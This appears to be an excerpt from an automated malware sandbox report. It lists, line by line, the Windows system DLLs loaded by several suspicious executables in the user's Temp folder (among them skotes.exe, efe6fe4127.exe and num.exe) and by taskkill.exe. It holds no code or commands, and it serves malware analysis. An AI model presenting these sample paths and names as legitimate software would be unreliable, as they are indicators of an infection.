Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
